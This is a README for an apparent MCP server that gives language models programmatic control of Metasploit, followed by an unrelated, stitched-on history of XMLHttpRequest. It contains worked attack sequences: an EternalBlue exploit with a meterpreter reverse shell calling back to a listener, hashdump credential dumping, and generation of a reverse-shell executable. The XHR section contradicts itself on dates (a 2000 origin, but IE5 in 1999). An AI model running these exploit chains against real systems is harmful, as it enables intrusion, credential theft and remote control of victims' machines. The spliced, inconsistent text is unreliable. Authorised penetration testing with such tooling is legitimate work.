Metasploit MCP Server Implementation

This repository details a Model Context Protocol (MCP) server engineered to establish robust communication between advanced language models (LLMs) and the Metasploit Penetration Testing suite.

Link to Asset Image

Core Functionality Overview

This system acts as a critical intermediary, translating high-level, conversational directives into specific, executable RPC calls against the running Metasploit Framework console service (msfrpcd).

Module Inventory Management

• enumerate_exploits: Query and filter the registry of available Metasploit exploitation modules.
• enumerate_payloads: Retrieve listings of payload modules, supporting filtering by target platform and architecture specifications.

Offensive Operation Execution

• execute_exploit: Stage and launch an offensive module against a defined target, optionally preceding execution with vulnerability verification checks.
• invoke_auxiliary: Run any auxiliary module available within the framework, accepting arbitrary configuration parameters.
• deploy_post_module: Initiate post-exploitation routines against established, active sessions.

Payload Artifact Generation

• synthesize_payload: Utilize the Metasploit RPC interface to generate executable payload artifacts (saved locally).

Session & Listener Control

• inspect_sessions: Display a detailed inventory of all currently established penetration testing sessions.
• transmit_session_command: Inject arbitrary commands into an active shell or Meterpreter interface.
• force_terminate_session: Unconditionally close a compromised session.
• catalog_listeners: Report the status of all active reception handlers and background jobs.
• provision_listener: Configure and initiate a new multi/handler instance for connection reception.
• quiesce_job: Halt the execution of any running background task or handler.

Operational Requirements

• A fully operational Metasploit Framework installation.
• The Metasploit RPC daemon (msfrpcd) must be active and reachable.
• Python interpreter version 3.10 or newer.
• Dependencies listed in requirements.txt must be installed.

Deployment Steps

1. Acquire the source code repository.

2. Install required libraries: bash pip install -r requirements.txt

3. Set necessary environmental variables (optional): bash MSF_PASSWORD=secret_key MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/opt/msf_artifacts # Custom output path for generated files

Execution and Interface Modes

The server daemon is initiated via the primary Python script, allowing selection of the communication transport mechanism.

Start the RPC service first:

bash msfrpcd -P secret_key -S -a 127.0.0.1 -p 55553

Transport Selection

• HTTP/SSE (Server-Sent Events): Standard, resilient connection method for external MCP clients.
• STDIO (Standard Input/Output): Optimized for local execution environments like Claude Desktop's direct piping.

Select the transport explicitly:

bash

Defaulting to HTTP/SSE

python MetasploitMCP.py --transport http

For direct pipe interaction

python MetasploitMCP.py --transport stdio

HTTP configuration overrides: bash python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration Configuration

When setting up the connection within claude_desktop_config.json, use the stdio transport:

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\path\to\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "secret_key" } } } }

External Client Connectivity (HTTP/SSE)

1. Launch the server binding to a network interface: bash python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

2. Point the MCP client's SSE consumer to:

   • URI: http://your-server-ip:8085/sse

Critical Security Disclaimer

ATTENTION: HIGH-RISK UTILITY WARNING

This utility grants direct, programmatic access to powerful offensive capabilities within the Metasploit Framework. Unauthorized or negligent use can cause severe, irreversible damage to systems. Adherence to ethical guidelines and explicit authorization for testing are mandatory.

• Scrutinize all generated commands prior to remote execution.
• Deployment must be strictly confined to authorized, isolated testing infrastructures.
• Be acutely aware of the potential for system state modification when running post-exploitation routines.

Use Case Scenarios

Initial Breach Phase

1. Discovery: enumerate_exploits("ms17_010")
2. Launch Sequence: execute_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Verify Connection: inspect_sessions()
4. Data Collection: transmit_session_command(1, "getuid")

Data Exfiltration and Persistence

1. Credential Dumping: deploy_post_module("windows/gather/hashdump", 1)
2. System Enumeration: transmit_session_command(1, "systeminfo")
3. Cleanup: force_terminate_session(1)

Attacker C2 Preparation

1. Prepare Listener: provision_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Generate Client Artifact: synthesize_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Deactivate Listener: quiesce_job(1)

Testing and Validation Suite

Robust automated testing is integrated to ensure stability and correct behavior.

Setup Dependencies

Install testing prerequisites:

bash python run_tests.py --install-deps

OR

make install-deps

Execution Commands

• Execute All Tests: bash make test # OR python run_tests.py --all --coverage

• Targeted Suite Execution: bash make test-unit # Unit tests make test-integration # Integration tests (mocked MSF)

Architectural Highlights of Testing

• Isolation: All interactions with the actual Metasploit environment are simulated via comprehensive mocking.
• Concurrency: Native support for asynchronous testing paradigms using pytest-asyncio.
• Reporting: Detailed code coverage metrics, including navigable HTML reports (htmlcov/index.html).

Artifact Persistence Configuration

By default, generated payloads are placed in a payloads subdirectory within the user's home directory. This location is overridden by setting the PAYLOAD_SAVE_DIR environmental variable.

Environment Variable Override Examples:

OS/Shell	Command Example
PowerShell	$env:PAYLOAD_SAVE_DIR = "D:\Artifacts"
CMD	set PAYLOAD_SAVE_DIR=C:\Artifacts
Bash/Zsh	export PAYLOAD_SAVE_DIR=/tmp/payloads

Ensure the specified directory possesses necessary write permissions for successful artifact creation.

Licensing

Distributed under the Apache 2.0 License.

---

The following historical context on XMLHttpRequest (XHR) is retained for comprehensive documentation regarding asynchronous web request mechanisms, contrasting with the synchronous/streamed nature of MCP communication.

== Historical Context of XMLHttpRequest (XHR) ==

XHR, an essential JavaScript API object, facilitates asynchronous HTTP data exchange between a client-side application and a remote server following initial page load. It forms the foundational pillar of Asynchronous JavaScript and XML (Ajax) programming techniques, superseding the necessity of full page reloads for server interaction.

Genesis

The underlying concept originated in 2000 from Microsoft developers working on Outlook. Its initial manifestation appeared in Internet Explorer 5 (1999), though it utilized COM object identifiers (ActiveXObject("Msxml2.XMLHTTP")) rather than the standardized global identifier. By IE7 (2006), the universal XMLHttpRequest object name achieved cross-browser ubiquity, adopted by Gecko (2002), Safari (2004), and Opera (2005).

Standardization Progression

The W3C released the initial Working Draft specification for XHR on April 5, 2006. Level 2 specifications followed on February 25, 2008, introducing crucial capabilities such as progress monitoring, cross-site request facilitation, and raw byte stream handling. Level 2 features were later integrated back into the primary specification by the close of 2011. Development responsibility transitioned to WHATWG near the end of 2012, which now maintains the specification using Web IDL.

== XHR Operational Steps ==

Standard request initiation involves a sequence of programming actions:

1. Instantiation: Create an instance of the XMLHttpRequest object.
2. Configuration: Invoke the open() method to define the request method (GET/POST), endpoint URI, and whether the operation should block (synchronous) or run in the background (asynchronous).
3. Event Binding: For asynchronous operations, register a handler function to react to state transitions.
4. Transmission: Signal the request commencement via the send() method, optionally carrying payload data.
5. Response Handling: Monitor the object's readyState. State 4 signifies completion. Response content is typically retrieved from the responseText or response property.

Beyond these fundamentals, XHR allows for fine-grained control: custom request headers can be injected, data can be uploaded incrementally, responses can be automatically parsed (e.g., from JSON), and requests can be aborted or timed out.

== Cross-Domain Policy ==

Early web architecture imposed strict limitations on resource fetching across different origins, which necessitated the development of security extensions like CORS to enable controlled cross-site communication for services relying on XHR.